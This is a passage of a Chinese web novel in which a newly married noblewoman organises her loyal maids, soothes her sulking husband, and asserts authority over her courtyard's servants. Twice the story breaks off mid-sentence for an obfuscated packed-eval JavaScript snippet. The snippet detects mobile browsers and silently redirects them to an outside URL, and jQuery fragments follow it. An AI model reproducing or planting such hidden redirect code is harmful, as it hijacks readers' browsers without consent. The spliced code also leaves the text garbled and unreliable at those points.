“好了,用不着感动,你家小姐我的本事你们还不清楚吗?”林观月拿起笔杆子点了点她的额头,回头看了看入画、司棋说:“你们几个就老老实实地做好自己的事,以前怎样,现在就还怎样。虽然我成婚了,但除了一个称呼,跟以前没有区别,用不着担惊受怕的,就是天塌下来,不是还有你家小姐我顶着的吗?你们就该吃吃,该喝喝,等到了年纪,小姐我给你们筹备嫁妆,让你们风风光光出嫁。” “我才不嫁!”侍书吸着鼻子,嗡声反驳:“我要跟在小姐身边,一辈子照顾小姐。” “我也不嫁!”司棋也跟着抬头反驳,看着林观月望过来的眼神,扁扁嘴说:“跟着小姐有好吃的,想吃什么就吃什么,嫁人就不能这样了……” 几人又笑了起来,入画这次笑出了声,对着司棋说:“傻司棋,你嫁人了也可以待在小姐身边啊?” “啊?”司棋挠了挠头,眼神有些迷茫,看的几人都笑了起来。 “哈哈哈哈哈哈……司棋你真可爱!”林观月望着迷茫的司棋,忍不住调戏她,心中还感慨着:司棋人高马大的,怎么就这么呆萌呢? 司棋听着她的调戏有些脸红,但最终还是摇摇头说:“那我也不嫁人!” “哦?这又是为何?”入画问。 “因为我觉得小姐是世界上对我最好的人,除了小姐,不可能有人对我更好了,所以我要一直待在小姐身边!”司棋这话说的坚定,配上她那张英气的脸,倒有些御姐味儿了。 当然,林观月知道这不过是错觉,司棋哪是什么御姐,不过是个傻乎乎的狼崽。 司棋是她从人贩子手底下买下来的,刚见到她时,她就像一头呲着牙的狼崽,凶巴巴地瞪着她,浑身是伤,却还固执的不让她靠近。可这狼崽子又最是忠心,她不过把她带回家,给了她吃的,就让她心甘情愿地为她做一切事情。 林观月毫不怀疑,哪怕她让司棋现在去死,她都不会多问一句“为什么”。 这是司棋的优点,却也是她最可悲的地方。 林观月心中暗暗叹了口气。 “入画姐姐,难道你想成亲吗?”司棋反问入画。 入画倒是没什么不好意思的,果断点点头说:“那是自然,我肯定是要成亲的。” 侍书微微蹙了蹙眉,但最终也没说话。毕竟,她清楚入画的身世,也不能反驳她这种选择,只不过,她在心里更加坚定了永远留在小姐身边的想法。 “为什么?你要离开小姐吗?”侍书不懂。 “傻侍书,谁说成亲就要离开小姐?”入画走到林观月身边,讨好地开始替她捏肩,说:“我可是指望小姐替我招赘的,那既然是招赘,自然是小姐在哪,我在哪了!” “啊?招赘就可以不离开小姐了吗?”司棋迷茫。 “那是自然,既然是赘婿,那自然得跟着我走,孩子也得跟我姓!”入画大言不惭道,林观月也没反驳,只是弯了弯唇角。 “这样吗……” 侍书看不下去了,出声打断:“好了入画,你就别带坏司棋了,你又不是不知道你说什么她信什么?” “我怎么带坏了?我是真打算这样!”入画请哼一声,随后蹲下身子看着林观月,讨好道:“不过,这就得小姐替我操操心了。” 林观月无奈摇头,点了点她的额头说:“自己的婚事自己操心,我就负责出嫁妆……不对,应该说聘礼吧?” “那也行。”入画替她捏着胳膊说:“反正我就在小姐身边,要是相中的人不行,小姐肯定也不会坐视不理的。” “你啊——”林观月瞪了她一眼,入画吐了吐舌头,一脸无赖样。 要说她这四个贴身丫鬟里,最为通透的,便是入画。 入画家里是世代行医的,但她的父母在一场瘟疫中,为了救人死去,就剩下了个入画,以及他年迈的爷爷。 但好在,她爷爷也是村里有名望的老中医,凭借替人治病养活他们爷俩,倒也不成问题。可问题在哪呢?在入画身上。 入画在行医方面特别有天赋,哪怕她的爷爷和父母从未教过她医术,只是凭借在一旁观看,就记下了许多方子,甚至能对症开药。 她父母去世后,入画的爷爷不忍再浪费她的天赋,也想在自己去世后,让孙女有个安身立命的本事,所以,他开始教入画医术。 本来一切都好好的,可这件事被村里人知道了。他们用大义、规矩来施压,逼迫入画爷爷不再教入画医术,逼迫他收下村长的孙子,让他答应将毕生所学都传给那个男孩,并且还施舍般答应,要让入画和那个男孩定亲,答应在老爷子百年后照顾入画。 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侍书离开,林观月又转向入画道:“去把我嫁妆里的那套粉面头饰取出来。” “是,少夫人。” 二人先后立刻,司棋左看看又看看,最后看向林观月问:“少夫人,那我干什么?” 林观月轻笑一声,说:“你等会替我跑个腿,今日你买的点心钱,我就给你出了。” “真的?!”司棋一脸惊喜。 “你家小姐何时骗过你?” “谢谢小姐!小姐对我最好了,我要一辈子待在小姐身边!”司棋欢呼着,林观月无奈摇头。 不一会,侍书回来了,手里还提着那个食盒。 “小姐。”侍书将食盒放在桌子上,打开问:“小姐现在要吃吗?” 林观月摇摇头,指了指司棋说:“拿去给司棋。” 说完,又看向司棋道:“司棋,你尝尝这味道,跟你今日买的可一样?” 侍书不明白林观月要干什么,但听她这么说,心下也知这背后怕是有什么她不知道的事情,所以没有多问,就将栗子糕取出来端给了司棋。 司棋捏起来一块糕点,放在嘴里尝了尝,先是嘟囔了一句“凉了”,惹得侍书又要骂她。 她连忙在侍书开口前说:“一样的。小姐,不对,少夫人,这栗子糕虽然凉了,但跟九味斋的栗子糕味道几乎一模一样!” 罢了,还问侍书:“侍书姐姐,你们今日也去九味斋了吗?” 侍书心中大惊,一时没有回答她的问题,扭头看向林观月,眼中是不解、震惊、难以置信……一系列复杂情绪。 她不懂,为何皇后娘娘给的点心会和九味斋的味道一样?难道是皇后娘娘身边的宫女和九味斋的厨子是亲戚?还是其他什么关系?可小姐又为何会知道? 侍书思绪一时乱如麻。 “少夫人……” 林观月微微摇头,像是对此早有预料。她对侍书说:“侍书,去取二十两银子给司棋。” 侍书见林观月淡定的模样,心里也冷静了不少,她福身回道:“是。” 林观月又对司棋说:“你明日去把九味斋的点心尝个遍。记住,要把每一种糕点的造型、味道都记住,确保你以后再见到类似的,能够分辨出来。钱如果不够就回来找侍书要,若是多了你就自己拿着。” “是,少夫人。” 恰在此时,入画也捧着首饰回来了,她不知道刚刚发生了什么,只是看了一眼侍书给司棋钱就收回了视线,问林观月:“少夫人,这套头面要如何处置?” “把它给司棋。”林观月对司棋说:“待会你把这套头面给大姑娘送去,就说‘我家少夫人多谢姑娘今日解围’。若是不知道路就问问其他人,顺便也记记王府的布局,等送完你就可以直接回去休息了,明天记得把我交代你的事办好。” “是,少夫人。”司棋从入画手中接过盒子,转身出了门。 15. 野心 待司棋不见了身影,侍书才开口询问:“少夫人,我们这是要同大姑娘打好关系吗?” 入画同样一脸疑惑地看着她。 林观月轻轻摇头,“没必要,我们初来乍到,对这些人还不了解,不急着主动,礼到了就行。” 她对二人嘱咐道:“侍书、入画,如今我成了婚,抱琴要替我管理那些铺子,司棋又性子简单,今后的日子必定是你二人在我身边伺候的多,所以今日我跟你们说的话,你们要记住。” 侍书和入画对视一眼,一起走到她面前福身道:“是,请少夫人吩咐。” 林观月点点头,抬头看着窗外透进来的夜色眸色沉沉,语气也透着些郑重:“我既成了婚,今后的日子,就注定不会安稳。这王府人心各异,祁云羡作为唯一的嫡子却没有威严,我身为他的夫人,日后少不了有人要找我麻烦。” 她看向侍书道:“侍书,这秋水苑我就交给你了,从上到下,不管是人还是东西,都给我管好了,千万不要悄无声息地多出来,或者少了什么东西。” “是,少夫人,奴婢一定不负少夫人所托。” 林观月又看向入画,“入画,你性子活,我给你一个月时间,把王府上下给我打听清楚了,我要在每一房都有人脉。切记,是人脉,而不是我的人。” “是,少夫人,包在我身上。” “还有,这后宅里必定少不了脏东西,你也上点心,秋水苑的饮食摆件,你每隔一段时间都检查一番,别让脏东西进了秋水苑。” “是,少夫人。” 林观月起身,她走到一旁的架格边,抬手从其中一个格子里取下来一个草编的蚂蚱,一看便是祁云羡的玩具。林观月拿在手中细细把玩,眼底带着些冷冷的兴味,对二人说:“祁云羡身边那两个小厮,心思不少,你们提防着些,但暂时不要打草惊蛇。” 她放下草编蚂蚱,轻笑一声,意味深长道:“这王府的乐子,还多着呢。” 侍书和入画对视一眼,随即齐齐低下了头。 “还有最后一件,也是最重要的事。”林观月转身走至二人身前,抬手将二人的下巴抬起来,看着二人意味深长道:“日后,若是我做了什么令你们害怕不解的事,也不要惊慌,更不要质问我。若是害怕,你大可以离去,我会将你们的卖身契归还于你们,并给你们一些钱财,从此以后,我们就毫无关系了,但也希望你们离开后,别卖了我。跟我的人我会让他善始善终,但背叛我的,我也不会手软。记住了吗?” 林观月这番话说的又冷又无情,与她们平时认识的宽和仁慈的小姐大有不同,整个人透着些上位者的冷漠狠厉。 侍书一时没反应过来,看着林观月愣愣发呆,脸上的迷茫惊讶都毫不掩饰,而入画则快速回过神来,拉着一旁的侍书就跪下,心里暗骂:这时候发什么呆?不想活了?! 她双手交叠于胸前,重重跪了下去,还不忘拉了一把一旁的小呆瓜侍书。 “奴婢一定不会背叛小姐,此生此世,入画都是小姐的人!” 该说不说,入画确实机灵,没见此刻,她说的便是“小姐”而非“少夫人”。她很清楚。林观月不喜欢后者的称呼。 随后,侍书也反应了过来,她直起身子,三根手指并起来发誓:“我发誓,侍书这辈子都不会背叛小姐,若违此誓,魂飞魄散,不得好死!”说完,也跟着重重拜了下去。 而这个,便是实心眼了。 一旁的入画见她这一番举动,心里暗骂一声:就显着你了!随后也跟着发誓:“我入画也绝对不会背叛小姐,若违此誓,不得好死!” 林观月看着跪在她面前的二人,静静审视片刻,蓦的笑了,恢复了以往的随和宽容。她将二人扶起来,温声道:“我知晓你们忠心耿耿,但今后的路途必定不安稳,我也是希望你们心里有个准备。” 侍书有些担忧地看着林观月,问:“那小姐会有危险吗?” 林观月静默地端详她片刻,随即缓缓摇头,声音有些空,带着些怅然:“放心,我会让我们都平平安安的。” 二人对视一眼,侍书脸上还是担忧,还想问什么,却被入画及时拉着袖子打断。入画瞪了她一眼,侍书便没再问了。 恰巧此时,门外传来脚步声,以及伴随着“请二公子安”的问候声,林观月便知是祁云羡回来了。 她看向二人,说:“好了,下去帮我准备热水吧,今日也不早了,明日便是全新的一天,你们两个,要打起精神,把我交代的事办好。” “是,少夫人。” 祁云羡走进门来,敏锐地察觉到屋内气氛不太对,疑惑地看向林观月,“发生了什么吗?” 林观月对二人说:“去忙吧。”随后走到刚刚的位置上坐下,回答祁云羡的问题:“没什么。二公子这时辰才回来,可用饭了?” “用过了。”祁云羡没再深究,走到一旁的圆桌旁坐下,抬手给自己倒了杯茶水一饮而尽,忍不住吐槽:“渴死我了。” 林观月失笑,打趣他:“琼华院还能少了二公子一杯茶水?” “呵呵。”祁云羡轻哼一声,没跟她多解释,看着她面前的账簿,问:“你在干嘛呢?” 林观月低头看了看桌上的账簿,将它放置一边,把一旁放置的嫁妆单子拿了过来,回:“自然是清点嫁妆。” “你为什么不明天整?现在你又清点不了。”祁云羡又嘟囔一句:“这黑灯瞎火的,看得清啥?” 林观月没理他,自顾自的起身走到他身边坐下,问:“今日王妃叫你去可说了什么?” “还能说什么?无非就是问了我今日发生了什么事,要让我有出息云云……我耳朵听的都生茧了!” 林观月失笑,说:“做父母的,难免望子成龙,二公子还是多多谅解一下王妃,毕竟她这也是为你好。” “我用你在这当好人?!” 林观月本是随口一说,没成想却触了祁云羡的逆鳞,瞬间便炸了毛,吊着眉梢怒气冲冲道:“你爱当好人也别再小爷我这当!小爷我就是顽劣不堪、狼心狗肺的人,用不着你在这儿教我?你算个什么东西?!” 林观月也愣了,一时没反应过来,可看着眼前气的浑身竖起刺的祁云羡,思绪慢慢回笼。她回想了一下自己刚刚的话,确实有些不妥。所以,林观月抬手倒了杯茶,从善如流地道歉:“刚刚是我没多想,一时嘴快,还请二公子原谅我的一时疏忽。” 祁云羡是典型的吃软不吃硬,林观月要是嘲讽他,他能梗着脖子跟她对骂,可她这一翻操作下来,他若是再揪着不放,就有点小家子气了。 但这么就原谅了她又有些憋屈……祁云羡重重哼了一声,一把接过了那杯茶,由于太用力,茶水溅出了一些。林观月微微叹气,刚想用帕子将身上擦一擦,可往怀里一摸,空空如也。 她先是微微蹙眉,还没来得及惊慌,就想起来今日自己将帕子借给了祁云羡。林观月又舒展了眉头,问祁云羡:“二公子,我的手帕呢?” 祁云羡表情还绷着,一副傲娇模样,听闻林观月的问题,表情有一瞬间难绷。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826486|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 很快,他又故作严肃地在身上摸了摸,随即云淡风轻道:“不知道,应该丢了吧?” “丢了?”林观月怀疑。 “那也可能是忘慈宁宫了吧……我怎么知道?!”祁云羡理直气壮,轻哼一声:“大不了我再赔你一条。” 林观月无话可说了,她摇摇头道:“不必了,不过二公子,下次女子的东西还是好好保管为妙,不然的话,若是让有心之人捡了去,恐生事端。” “哦。”祁云羡眼神飘忽了一下,但林观月没注意,她只是在心里庆幸:幸好自己的手帕多得很,又没有什么在上面绣字的习惯,就算让人捡了去,麻烦也找不到她身上。罢了罢了,丢了就丢了,改天再让念娘再给我秀几条。 念娘是林观月手底下有名的裁缝,也是罗绮坊坊主。林观月的衣服,基本都出自她手。 花开两朵,各表一枝。 再说刚刚侍书和入画离开后,侍书脸色一直沉沉的,直到了耳房,入画将里面烧水的婢女遣散,随后关上房门。 “入画,你这是……?”侍书不明所以。 入画想了想,最后又打开了房门,就站在门口,以确保能看清外面的情况。她看着侍书,低声警告:“侍书,我知道你有许多不明白的地方,但是今日这件事,别再去问小姐?!” 看着侍书不解的表情,她叹了口气,说:“侍书,你说,小姐为何今日独独跟你我二人说这番话?你觉得抱琴和司棋听过这番话吗?” 听着入画这么问,侍书的眼神不禁落寞了下来,喃喃道:“我,我不知道……” “哼,骗人!你分明清楚得很!”入画轻哼一声,随后看着外面的夜色,声音压低,表情晦暗不明道:“你我都清楚,抱琴自小就陪小姐一同长大,她的父母也是覃家的人,她的一生都注定和覃家绑在一起,所以小姐最信任的便是她。 再说司棋。司棋性子简单,又是小姐亲手养大的,对小姐忠心耿耿,谁背叛小姐,她都不可能,所以小姐对她也总是格外宽容。至于你我……琴棋书画,你我来的晚,既不像抱琴对小姐那般有用,又不像司棋那般,有自小养大的情分,故而天然的,小姐便不会全然相信我们,所以才会有今日这番话!” 听着入画这番话。侍书沉默不语,垂落在一旁的手紧紧握着,眼底是对自己无能的愤恨。 入画看着她这副模样,轻轻叹了口气,语气也放缓了些:“若你我侍奉的只是寻常人家的小姐,大可不必讨论这个问题。可你我心中都清楚,我们小姐,不是一般女子。” 入画抬头望向门外,看着院子上的夜空中,亮起来的几个星星,她的声音带着些她未曾察觉的野心:“小姐不是一般人,今后要做的事也注定不凡,你我若想一直跟在她身边,便必须让小姐看到我们的价值!” 侍书愣愣看着入画的背影,觉得对方身上有一种什么她说不出来的东西,而那东西,她也只在小姐身上见过。 侍书的心一时“扑通扑通”地剧烈跳动起来。 “所以侍书,”入画突然转过头看她,眼神认真:“这王府,是小姐给你我二人的拜帖,你我能不能永远留在小姐身边,就看你我二人的能耐了。所以,多看、多听、多做,但是不要问,那会显得你很蠢,明白吗?” 侍书怔然地看着入画,她一直清楚,入画比自己聪明,所以她说的,一定有道理——多看、多听、多做,但是不要问,努力办好小姐交代的差事,努力永远……留在小姐身边…… 侍书记下了。 “我明白了。” 16. 生气 夜深人静,夏蝉躁鸣,秋水苑主屋内,林观月平躺在内屋的架子床上,双手放在肚子上,眼睛轻轻闭着。外间,祁云羡在卧榻上翻来覆去,声音穿过屏风,飘进里屋。 由于刚成婚,二人为了不惹闲话,也为了林观月的面子,故而祁云羡暂时睡在外间的卧榻上,二人之间隔了一道屏风。 “二公子若是睡不着,可以起来看看书。”林观月眼睛依旧闭着,清泠的声音从屏风后传来。 祁云羡看着屏风,却只能看到床的影子,看不清床上的人。他从鼻孔里重重呼出一口气,一骨碌坐了起来,看着里屋的方向,扬声问:“喂!林观月,你是不是忘了什么?” “有吗?”林观月依旧闭着眼睛,随口回了一句:“没有吧。” 这句话随意又轻飘飘的,把祁云羡气得够呛。 “喂!林观月!”祁云羡声音又大了些,透着些怒气:“你忘了今早回来的时候,问我的问题了?!” 安静。 祁云羡更生气了。这女人怎么这样!自己说过的话能不能记住啊!!! 他气的直接站了起来,朝着里屋的方向厉声道:“林观月!!!” “咚咚咚~少爷、少夫人,可是出了什么事?”许是屋内二人这动静太大了些,惊动了守夜的入画,此刻正在门外候着。 “不关你们的事!”祁云羡朝门口吼道,明显看到门上的人影哆嗦了一下,但并没有离开。 林观月终于睁开了眼睛,她轻轻叹了口气,随后坐了起来。掀开水云青床帘,林观月穿上鞋子走了出来,对门外说道:“无事,不必担心。” “是。”入画这才退了下去。 门外 长喜也在另一边候着,见入画退了回来,朝着她讨好地笑了笑:“这位姐姐,你瞧,我就说无事吧。”他促狭地看了她一眼,一副很懂的表情说:“新婚小夫妻嘛~难免拌嘴,但是我家二公子那是万万不会动手的,姐姐大可不必担心。” 入画看着他那副恶心谄媚的模样,心里直犯吐,暗自怀疑这二公子莫是个傻的,这种货色也能留身边,真真是……难评。 入画眼珠一转,紧接着嘴角上扬,意味深长地看着长喜,随后故作惊讶道:“啊?二公子竟然还打人?那少夫人岂不是有危险?不行不行,我得进去看看!” 见到入画这焦急的模样,长喜眼底划过一抹阴暗的得意,随即才夸张地“诶呦”一声,连忙上前来拦入画,嘴里还“劝着”:“这位姐姐,你可不敢进去啊!二公子都说了没事了,你若进去,岂不是违反二公子命令?” “那少夫人……” “少夫人不是说没事吗?姐姐就放心吧,起码少夫人是二公子的夫人,二公子不至于打人的。”长喜一番苦心劝说的模样,若是不知情的在这儿,怕是以为他是个护主的忠奴。 “可……”入画“一脸纠结”,有些怀疑地看着长喜问:“二公子真的不会打人吗?” “这……”长喜有些为难,随后说:“这二公子肯定不至于打少夫人就是了……” “这不就是会打人吗?!”入画焦急地一跺脚,看了看屋内的方向,焦急地转了几圈。 长喜见到这副模样,随即悄悄退到一旁,嘴角慢慢上扬,眼底尽是一种“计谋得逞”的得意。但是,在他看不见的背后,刚刚还“急得团团转”的入画站在他背后,轻蔑一笑,尽是嘲讽。 蠢货。 屋内,林观月尚且不知入画这一番操作,她从屏风后走出来,来到外间,自顾自给自己倒了杯茶坐下。 “林观月!”祁云羡走到她身边坐下,一身白色寝衣,岔开腿迈坐在凳子上,一只手按着大腿,一只手撑在圆桌上,瞪着林观月。 林观月也只穿了一身月白寝衣,一头乌黑浓密的秀发披散在肩头,不施粉黛,看上去与她白日大不相同,多了几分慵懒随意。 祁云羡看她这副模样,眼神不有飘忽了一瞬,随即又想到什么,凶巴巴地把眼睛瞪了回去。 壶里的茶已经凉了,林观月轻轻抿了一口便放下了杯子,抬头看着祁云羡:“所以二公子现在有答案了吗?” “额……”祁云羡眼神又瞟向一边,刚刚怒气冲冲质问她的气势也消失不见,随后转过头,色厉内荏道:“没有啊,怎么了?” “……” 为何他能如此理直气壮?林观月不懂。 “那我没有,你就不问我了吗?”祁云羡梗着脖子不服输道,但仔细看,他的耳朵尖已经有些红了。 羞的。 林观月不想拆穿他,虽说她猜测他也没想清楚,但她不问还真不是小瞧他,纯粹是真忘了。今天经历的事实属有些多了,要计划的事也不少,祁云羡这“幼师课”就有些顾不上了。 林观月反思。她觉得自己以后还是得对他上点心,毕竟自己能不能解放还得指望他呢。 所以林观月诚恳道歉:“对不起,今日我忙忘了。” 突然听到林观月的道歉,祁云羡愣了一下,耳尖尖的红色也慢慢消退,平时总是扬起的眼尾此刻罕见的平了下来。他不说话,就那么静静看着她,良久,才平静地移开了视线。 “哦。” 没什么情绪,很平淡的一个字,平淡的……不像是从祁云羡嘴里说出来的。 虽然才相处短短一天时间,但不知为何,林观月就是下意识认为,祁云羡说话一定是带着情绪的。张扬也好、愤怒也罢,总归是一定有情绪的。 林观月也不知自己为何这么快就有了刻板印象,但她现在很坚信的一点是——祁云羡不开心了。 对于一个喜怒永远表现在脸上的人,平淡,便是极大的反常了。 不过……为什么呢?就因为她忘了问?林观月想不明白。 所以她直接问了:“二公子,你可否告知我你为何不开心?若是因为我今日失诺,那么再次向你道歉,或者你想要什么赔偿也可以。” 祁云羡看了她一眼,随即起身走向他的卧榻,语气平淡:“没有不开心。” 装。 平淡就是最大的不开心了。 林观月本想甩手不管,直接回去睡觉,可冥冥之中她有种直觉,若是她真这么干了,他们二人的关系,怕是会后退一大步! 为了自己早日解放,林观月深吸一口气起身跟了过去。 祁云羡看都不看他一眼,拖鞋上榻,拉起被子就要往身上盖,被林观月眼疾手快扯住。 “二公子。”林观月微笑,“今日之事是我不对,但你可否告知你不开心的地方在哪?这样的话,我下次才能注意。” 祁云羡静静跟她对视,随即开口一字一句说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830343|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “没、有、不、开、心!”说罢,一把拉过自己的被子蒙头就睡。 林观月看着蒙的严严实实的某人,一阵心累。 她感觉自己现在真成幼师了。林淮序给她找的什么破活?! 林观月心里骂骂咧咧,面上还得好声好气道:“既然二公子今日不愿意说,那便改日再说。二公子晚安。” 林观月转身就把脸上的笑给收了起来,快步走到床边,脱鞋上床睡觉,一气呵成。 现在是下班时间,有什么事明天再说。 林观月盖上被子就睡。 屏风那头,祁云羡看着屏风上再次拉上床帘的影子,气的翻过身背对着外面。 卧榻是临窗放置的,此刻两扇窗户都被合的严严实实,带给祁云羡一丝安全感。他看着上面的雕花纹路,眼神慢慢暗淡了下来。 祁云羡,你真没出息。 他的手指扣着枕头上的绣纹,渐渐地,将线头扣了出来。 他松开手,拢了拢被子,将自己缩成一团。 真好讨厌啊…… 烛火轻轻颤曳,昏黄的光亮照亮卧榻上蜷缩的身影,余下周遭尽是沉沉夜色。 一室寂然。 …… 第二天早上,祁云羡没吃早膳,跟林观月一起请了安,随后一句话没说,身后跟着长喜、元宝两个小厮,去账房上领了些钱就径直出了府。 林观月没拦,也没问他去哪儿,就这么放任他离开。 “少夫人。”入画看着吃相优雅的林观月,有些犹豫问:“你是不是同二公子闹矛盾了?” 侍书侯在一旁,闻言也好奇地看过来。 自此听了入画的那番话,她回去又想了想,决定今后说话要三思再三思,能不问就不问。要不然,今日问这话的就是侍书了。 林观月没有注意这一点,她夹了个春卷,随口道:“算是……我单方面惹了他吧。” “啊,啊?” 两个侍女闻言皆是愣了一下,二人对视一眼,随即入画试探问:“那少夫人,你怎么惹二公子了?” “关键就是不知道啊。”林观月叹了口气,看着眼前的春卷,嘟囔一句:“我要知道不就好办了吗……” 说罢,一口咬了下去,随后满意地眯起了眼睛。 “先不管他了。”林观月咽下嘴里的东西,随后对二人道:“待会用完膳,先跟这秋水苑上上下下的奴仆见见面,之后的话,侍书,就交给你了。” “是,少夫人。” 林观月又夹了个春卷,说:“今日还要把嫁妆也整理好……” 提到这,林观月突然想起什么,看向二人问:“钱嬷嬷什么时候回来?” 钱嬷嬷是林观月的陪嫁嬷嬷,本该在大婚当日就陪她嫁过来,但因风湿病突然犯了,林观月就让她休息几天,待好些了再过来。 本来这种情况是该换一个嬷嬷的,但林观月懒得再找一个不熟的,她也不相信别人,索性就这么着了。 “回少夫人,钱嬷嬷昨日托人传话,说已经好多了,估摸着……许是就这两天了。”侍书回话。 林观月点点头:“那就好,有钱嬷嬷在,你们也能轻松些。” 主要是她能轻松些。 林观月咬了一口春卷,一脸幸福。 这春卷真不错。 17. 秋水 用过早膳,侍书将秋水苑一众丫鬟婆子小厮尽数召集起来,林观月坐在屋内,一只手指着头,闭目养神,听着屋外的动静。 “这是要干什么……” “不知道啊……” 丫鬟们互相咬着耳朵,在底下窃窃私语,站在最前方的一个婆子听见了,哼笑一声,声音也不压,抬头看了眼侍立在门口的入画,故意扯着嗓子阴阳道:“干什么?新夫人进门,自然是给我们‘立规矩’!” 秋水苑丫鬟小厮不少,但只有一个婆子,姓孙,负责统筹秋水苑上上下下、大大小小的事务,底下人平日里,都是巴结奉承着她,这骤然间有了女主人,她自然不开心。 入画站在门口,她自然听到了孙嬷嬷的话,神色平静地看了她一眼,只是笑,却什么都不说。 这下,孙嬷嬷反倒不敢再嚷嚷,她怀疑地看着入画,想从她的表情里看出什么,却最终无果,不由在心里暗骂:“小贱蹄子!” 孙嬷嬷斜着眼睛往屋里瞟,心中渐渐开始惴惴不安起来,担心林观月初来乍到,那她立威。 虽说这新夫人肯定动不了我,但若是她去找王妃告状,公子少不得要找我麻烦。 想到这里,孙嬷嬷开始收敛神色,毕恭毕敬起来。 入画将她的一番表现尽数落尽眼里,心中暗自翻了个白眼。 这秋水苑的妖魔鬼怪可真是不少,看来侍书今后有的忙了。入画幸灾乐祸地想着。 屋内,林观月闭目养神,一只手指在桌面上一敲一敲,算着时辰,直到外面的躁动声越来越大时,林观月开口:“侍书,去吧。” “是,少夫人。”侍书福身一礼,转身出门。 房门被打开,刚刚还躁动不安的奴婢小厮们迅速安静下来,一个个低着头,看上去十分恭顺。 “见过少……”孙嬷嬷刚想扯着嗓子带头行礼,腰都弯下去一半了,谁料,出门的不是少夫人,而是一个婢女,问候的声音一下子就堵在那,不上不下的,看上去有些滑稽。 入画偷偷扭过头捂嘴轻笑,侍书也微扬了唇角,对着孙婆子福了一礼,笑着说:“孙嬷嬷,少夫人还在屋内,奴婢可担不起你这一礼。” 这话一出,后面的小厮婢女,有些年纪小的,已经开始偷笑起来。 孙婆子被气得脸通红,她仰着脖子扭过头,骂道:“笑什么笑!就你们有嘴!一个个都皮子痒了是吧?!” 她一闹,那些平日里被她欺压的小厮婢女瞬间垂下了头,不敢再发出一点声音。 孙婆子看着他们,低骂一声“小贱蹄子”,随后扯着嘴角,一脸谄媚地转过头来。 “这位姑娘,不知少夫人把我们叫过来是有何吩咐?你也知道,这毕竟大家手底下都有活计,耽误不得的。” “嬷嬷不必着急。”侍书对她微笑颔首,随后看向底下诸位,说:“诸位也不必紧张,少夫人初来乍到,只是想趁着今日,跟大家见见面。” “自然,自然。”孙嬷嬷跟着陪笑,她眼睛往屋内探,里面一片寂静。孙嬷嬷压下心里的怀疑,又扯上一脸笑看向侍书,问道:“那不知……少夫人何时出来?” “不急。”侍书淡定轻笑,随即缓缓收敛了嘴角的弧度,脸上带上了些威严。她看向底下一张张疑惑不安的人脸,声音提高了些,语气坚定又透着些威严:“自我介绍一下,我叫侍书,从今以后,秋水苑内,日常洒扫、采买、值班等等,今后都由我来管。大家等会都来我这做个登记,把自己的活计都请介绍详细,事后我会呈给少夫人,随后若有问题,少夫人会找你们详谈。” “这……”底下众人开始交头接耳,窃窃私语起来。 侍书也不说话,就垂眸看着众人,等着他们交谈。 她在等。 一旁的入画看她这幅面无波澜、神情严肃的模样,轻轻挑了挑眉,心念:侍书这丫头装起来还挺有模有样的啊。 孙嬷嬷刚刚听完侍书那番话就慌了,但她又不想出这个头,可等了半天,也没等到有人反驳,终于忍不住出声质问:“侍书姑娘啊,这……这可是少夫人的吩咐?” 侍书颔首:“自然。” “可,可这平日都是我在管啊……”孙嬷嬷刚想骂街,可触及侍书冷淡的表情,以及背后皮笑肉不笑的入画,讪讪咽下了没说出的话,转而换上一副委屈的神情,可她偏偏吃的膀大腰圆的,脸上尽是肉不说,眼神还虚伪谄媚,做出这么一副神情,着实有些……不堪入目。 入画悄悄撇了撇嘴,侍书面不改色:“嬷嬷不必担心,少夫人对您另有安排。” “这……”孙嬷嬷哪里甘心,她堂堂一个公子院里的管事嬷嬷,今后若是要事事向侍书汇报,让她的面子往哪里搁? 孙嬷嬷谄媚地跟侍书说好话:“侍书姑娘啊,这少夫人有何安排,不如亲自出来跟我们说一声,我们也好安心不是?” “嬷嬷不必着急。”侍书对孙嬷嬷轻轻福了福身子,客气道:“奴婢只管底下的婢女小厮,嬷嬷不归奴婢管,奴婢也不敢僭越。至于嬷嬷好奇之事,不妨等会见了少夫人,亲自问少夫人?” 侍书不再理她,转向底下的小厮婢女,提高音量:“少夫人赏罚分明,也知人善用,只要好好伺候二公子和少夫人,少夫人不会亏待你们。但若是有那些见异思迁、偷奸耍滑,或者贪墨银两之辈,少夫人也绝不会轻饶。 若是有人之前做过什么,少夫人也不再追究,但今后若是在做出不利于秋水苑之事,那就别怪少夫人,不顾情面。” 侍书这话说的有气势,礼数敲打皆到位,底下人彼此看了看,但也没人敢在这时候出头。 当然,最重要的是刀子还没落。但刀子……迟早会落。 侍书见这些人敲打地差不多了,便又扬了扬嘴角,讲究“打个巴掌,给个甜枣”:“少夫人说了,自今日起,每人在月例的基础上再加一成,这银子由少夫人出,今后若是做的好了,奖赏也绝不会少了你们。” 这话倒是让那些人开心了起来,互相对视,随即躬身行礼,齐齐道谢:“谢少夫人赏!” 侍书点点头,随后说:“从现在开始,大家三日之内找我汇报清楚自己的活计,若是逾期未来的,那便不必在秋水苑待了。好了,各位散了吧。” “是。” 一群小厮婢女各自散去,有些好事的,临走前还特意看了看一旁被冷淡的孙嬷嬷,惹来对方一斜眼就连忙低头快步离开。 入画走了过来,来到孙嬷嬷面前,躬身抬手:“嬷嬷,少夫人有请。” 